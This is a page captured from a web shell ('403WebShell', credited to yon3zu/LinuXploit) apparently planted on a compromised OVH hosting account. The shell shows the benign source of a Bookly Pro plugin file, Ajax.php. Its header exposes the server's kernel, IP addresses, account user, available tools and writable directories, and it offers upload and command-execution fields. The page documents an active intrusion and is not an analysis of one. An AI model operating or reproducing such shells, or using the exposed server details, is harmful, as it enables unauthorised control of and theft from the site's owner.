Uname:Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64

403WebShell
403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : monpetu ( 144298)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/monpetu/www/ipprint/extensions/bookly-addon-pro/backend/modules/staff/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/monpetu/www/ipprint/extensions/bookly-addon-pro/backend/modules/staff//Ajax.php
<?php
namespace BooklyPro\Backend\Modules\Staff;

use Bookly\Lib as BooklyLib;
use Bookly\Backend\Modules\Appointments\Page;
use Bookly\Backend\Modules\Staff\Proxy;
use BooklyPro\Lib;

class Ajax extends BooklyLib\Base\Ajax
{
    /**
     * @inheritDoc
     */
    protected static function permissions()
    {
        $permissions = get_option( 'bookly_gen_allow_staff_edit_profile' )
            ? array( '_default' => 'staff' )
            : array();
        if ( BooklyLib\Config::staffCabinetActive() ) {
            $permissions = array( '_default' => 'staff' );
        }

        return $permissions;
    }

    /**
     * Add category.
     */
    public static function addStaffCategory()
    {
        $response = array();
        if ( ! empty ( $_POST ) && self::csrfTokenValid() ) {
            $form = new Forms\Category();
            $form->bind( self::parameters() );
            if ( $category = $form->save() ) {
                $response = array( 'id' => $category->getId(), 'name' => $category->getName() );
            }
        }
        wp_send_json_success( $response );
    }

    /**
     * Delete category.
     */
    public static function deleteStaffCategory()
    {
        $category_id = self::parameter( 'id' );
        $category    = Lib\Entities\StaffCategory::find( $category_id );

        if ( $category ) {
            BooklyLib\Entities\Staff::query()
                ->update()
                ->set( 'category_id', null )
                ->where( 'category_id', $category_id )
                ->execute();

            $category->delete();
        }

        wp_send_json_success();
    }

    /**
     * Rename staff category
     */
    public static function renameStaffCategory()
    {
        $category_id = self::parameter( 'id' );
        $name        = self::parameter( 'name' );
        $category    = Lib\Entities\StaffCategory::find( $category_id );

        if ( $category ) {
            $category->setName( $name )->save();
        }

        wp_send_json_success();
    }

    /**
     * 'Safely' staff archiving (with confirmation)
     *
     * @request param 'archiving' with values [force, archive, verify]
     * @request param 'staff_id'
     */
    public static function archivingStaff()
    {
        $staff_id = self::parameter( 'staff_id' );
        if ( BooklyLib\Utils\Common::isCurrentUserAdmin()
            && $staff = BooklyLib\Entities\Staff::find( $staff_id )
        ) {
            /**
             * archiving values:
             *  force   - archiving staff
             *  archive - archiving staff if there aren't any appointments in the future
             *  verify || verify-and-confirm - check if staff are any appointments in the future
             */
            $archiving = self::parameter( 'archiving', 'archive' );
            if ( $archiving == 'force' ) {
                $staff->setVisibility( 'archive' )->save();
            } elseif ( $staff->getVisibility() != 'archive' ) {
                $appointment = BooklyLib\Entities\Appointment::query( 'a' )
                    ->select( 'MAX(a.start_date) AS start_date' )
                    ->leftJoin( 'CustomerAppointment', 'ca', 'ca.appointment_id = a.id' )
                    ->where( 'a.staff_id', $staff_id )
                    ->whereGt( 'a.start_date', current_time( 'mysql' ) )
                    ->whereIn( 'ca.status', BooklyLib\Proxy\CustomStatuses::prepareBusyStatuses( array(
                        BooklyLib\Entities\CustomerAppointment::STATUS_PENDING,
                        BooklyLib\Entities\CustomerAppointment::STATUS_APPROVED,
                    ) ) )
                    ->fetchRow();
                $filter_url = '';
                if ( $appointment['start_date'] ) {
                    $last_month = date_create( $appointment['start_date'] )->modify( 'last day of' )->format( 'Y-m-d' );
                    $filter_url = sprintf( '%s#staff=%d&appointment-date=%s-%s',
                        BooklyLib\Utils\Common::escAdminUrl( Page::pageSlug() ),
                        $staff_id,
                        date_create( current_time( 'mysql' ) )->format( 'Y-m-d' ),
                        $last_month );
                }
                $filter_url = Proxy\Shared::getAffectedAppointmentsFilter( $filter_url, array( $staff_id ) );
                if ( $filter_url ) {
                    // Show confirmation question.
                    wp_send_json_error( compact( 'filter_url' ) );
                } elseif ( $archiving == 'archive' ) {
                    $staff->setVisibility( 'archive' )->save();
                }
            }
        }

        wp_send_json_success();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit